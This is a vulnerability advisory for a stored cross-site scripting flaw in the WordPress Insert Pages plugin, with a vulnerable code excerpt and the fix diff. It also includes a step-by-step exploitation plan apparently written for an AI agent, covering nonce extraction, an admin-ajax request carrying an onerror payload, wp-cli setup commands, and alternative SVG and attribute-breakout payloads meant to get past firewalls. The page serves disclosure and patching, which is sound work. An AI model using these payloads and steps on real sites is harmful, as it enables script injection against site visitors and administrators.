Insert Pages <= 3.11.4 - Authenticated (Author+) Stored Cross-Site Scripting via Custom Field Keys (Meta Key Names)
Description
The Insert Pages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via post custom field keys (meta key names) in all versions up to, and including, 3.11.4. This is due to insufficient output escaping in the the_meta() function: while the custom field VALUE is sanitized with wp_kses_post(), the custom field KEY ($key) is interpolated into the rendered HTML (lines 1786-1791) and echoed (line 1806) without any escaping when an inserted page is rendered with the [insert page='ID' display='all'] shortcode. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.11.5
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-10089 ## 1. Vulnerability Summary **CVE-2026-10089** is a Stored Cross-Site Scripting (XSS) vulnerability in the **Insert Pages** plugin (<= 3.11.4). The vulnerability exists in the plugin's custom implementation of meta-data rendering (likely a function named…
Show full research plan
Exploitation Research Plan: CVE-2026-10089
1. Vulnerability Summary
CVE-2026-10089 is a Stored Cross-Site Scripting (XSS) vulnerability in the Insert Pages plugin (<= 3.11.4). The vulnerability exists in the plugin's custom implementation of meta-data rendering (likely a function named the_meta()). While the plugin sanitizes custom field values using wp_kses_post(), it fails to escape the custom field key (the name of the meta entry). An authenticated attacker with Author-level permissions can create a post with a malicious meta key. When this post is embedded into another page using the [insert display='all'] shortcode, the script executes in the context of any user viewing the page.
2. Attack Vector Analysis
- Authentication Level: Author or higher (Users who can create posts and manage custom fields).
- Vulnerable Endpoint: Frontend pages where the
[insert]shortcode is rendered. - Injection Point: Post Custom Field Keys (Meta Keys).
- Payload Parameter:
metakeyinputormetakeyselect(during post creation/edit). - Trigger: The shortcode
[insert page='{ID}' display='all']. Thedisplay='all'attribute is the critical trigger that forces the plugin to iterate through and display meta keys.
3. Code Flow
- Entry Point:
insert_pages_handle_shortcode_insert()(shortcode handler) is invoked when WordPress parses[insert]. - Parameter Processing: The handler extracts the
displayattribute. - Conditional Branch: If
display === 'all', the plugin logic proceeds to render all post components, including custom fields. - Vulnerable Sink: The plugin calls a helper function (identified in the description as
the_meta()around lines 1786-1806 ininsert-pages.php). - Iteration: The code iterates through the results of
get_post_custom_keys($post_id). - Rendering (Line 1806): The variable
$keyis echoed directly into the HTML buffer without usingesc_html()oresc_attr(), whereas the$valueis correctly passed throughwp_kses_post().
4. Nonce Acquisition Strategy
To inject the payload, the attacker must add a custom field to a post. In WordPress, this usually requires an admin-ajax nonce for the add-meta action.
- Identify Shortcode: The plugin's primary shortcode is
[insert]. - Create Setup Page:
wp post create --post_type=page --post_status=publish --post_title="XSS Trigger" --post_content='[insert page="SOURCE_ID" display="all"]' - Obtain Injection Nonce:
To inject via HTTP (simulating the UI), the agent should:- Login as an Author.
- Navigate to
wp-admin/post-new.php. - Extract the
_ajax_nonce-add-metafrom the page source usingbrowser_eval. browser_eval("document.getElementById('_ajax_nonce-add-meta')?.value")
Note: If the agent has Author credentials, the most direct path for the PoC is to use the admin-ajax.php endpoint with the add-meta action.
5. Exploitation Strategy
Step 1: Inject Stored XSS
The attacker (Author) adds a custom field where the Name is the payload.
- Endpoint:
http://<target>/wp-admin/admin-ajax.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Parameters:
action:add-meta_ajax_nonce-add-meta: (Obtained from Step 4)post_id: {SOURCE_POST_ID}metakeyinput:<img src=x onerror=alert(document.domain)>metavalue:SafeValue
Step 2: Trigger XSS
Create or edit a second post (the "Trigger Page") containing the shortcode pointing to the "Source Post".
- Shortcode:
[insert page='{SOURCE_POST_ID}' display='all']
Step 3: Execution
Navigate to the "Trigger Page" URL as an unauthenticated user or an administrator.
6. Test Data Setup
- Attacker User: Create a user with the
authorrole. - Source Post: Create a post (ID: X) as the Author.
- Trigger Page: Create a public page (ID: Y) containing
[insert page='X' display='all']. - Custom Field: Use
wp-clito quickly set up the vulnerable state if the HTTP injection is blocked by environment firewalls:wp post meta add {X} "<img src=x onerror=alert(document.domain)>" "vulnerable"
7. Expected Results
- When viewing the "Trigger Page", the browser should attempt to render an image with a broken source (
x). - The
onerrorevent handler will execute the JavaScript. - An alert box showing the document domain will appear.
- In the HTML source, the meta list will look like:
<li><span class='post-meta-key'><img src=x onerror=alert(document.domain)></span> ...</li>
8. Verification Steps
- Verify Database State:
wp db query "SELECT meta_key FROM wp_postmeta WHERE post_id={SOURCE_ID} AND meta_value='vulnerable';" - Check Page Output:
Use thehttp_requesttool to fetch the Trigger Page and grep for the raw payload:# The payload should appear UNESCAPED grep "<img src=x onerror=alert(document.domain)>"
9. Alternative Approaches
- SVG Payload: If the site has a WAF blocking
<img>tags, try a meta key containing a small SVG:metakeyinput:<svg/onload=alert(1)>
- Attribute Breakout: If the key is reflected inside an attribute (though the description says it is interpolated in HTML), try:
metakeyinput:"><script>alert(1)</script>
- REST API: Authors can often add meta via the REST API if the meta key is registered as "show_in_rest". However, for arbitrary "Custom Fields", the
admin-ajax.phpadd-metaaction is the most reliable vector.
Summary
The Insert Pages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via post custom field keys in versions up to 3.11.4. This occurs because the plugin fails to escape the meta key name when rendering a post using the [insert display='all'] shortcode, allowing authenticated authors to inject malicious scripts into the rendered HTML.
Vulnerable Code
// From insert-pages.php lines 1780-1806 in version 3.11.4 $values = array_map( 'trim', get_post_custom_values( $key, $post_id ) ); $value = implode( ', ', $values ); // Sanitize post meta values. $value = wp_kses_post( $value ); $html = sprintf( "<li><span class='post-meta-key'>%s</span> %s</li>\n", /* translators: %s: Post custom field name. */ apply_filters( 'the_meta_key', $key, $value ), $value ); // ... lines 1792-1801 omitted ... $li_html .= apply_filters( 'the_meta_key', $html, $key, $value ); } if ( $li_html ) { echo "<ul class='post-meta'>\n{$li_html}</ul>\n"; }
Security Fix
@@ -1780,9 +1780,6 @@ $values = array_map( 'trim', get_post_custom_values( $key, $post_id ) ); $value = implode( ', ', $values ); - // Sanitize post meta values. - $value = wp_kses_post( $value ); - $html = sprintf( "<li><span class='post-meta-key'>%s</span> %s</li>\n", /* translators: %s: Post custom field name. */ @@ -1802,8 +1799,9 @@ $li_html .= apply_filters( 'the_meta_key', $html, $key, $value ); } + // Sanitize and print post meta values. if ( $li_html ) { - echo "<ul class='post-meta'>\n{$li_html}</ul>\n"; + echo '<ul class="post-meta">' . wp_kses_post( $li_html ) . '</ul>' . PHP_EOL; } }
Exploit Outline
An attacker with Author-level permissions or higher can exploit this vulnerability through the following steps: 1. Create a new post or edit an existing one (the "Source Post"). 2. Add a custom field (meta data) to the Source Post where the Meta Key (name) contains a JavaScript payload, such as `<img src=x onerror=alert(document.domain)>`. 3. Create or edit a second post (the "Trigger Page") and include the plugin's shortcode referencing the Source Post: `[insert page='SOURCE_POST_ID' display='all']`. 4. When a user (including an administrator) views the Trigger Page, the plugin renders all custom fields of the Source Post. 5. Because the meta keys are echoed directly into the page without escaping, the JavaScript payload executes in the victim's browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.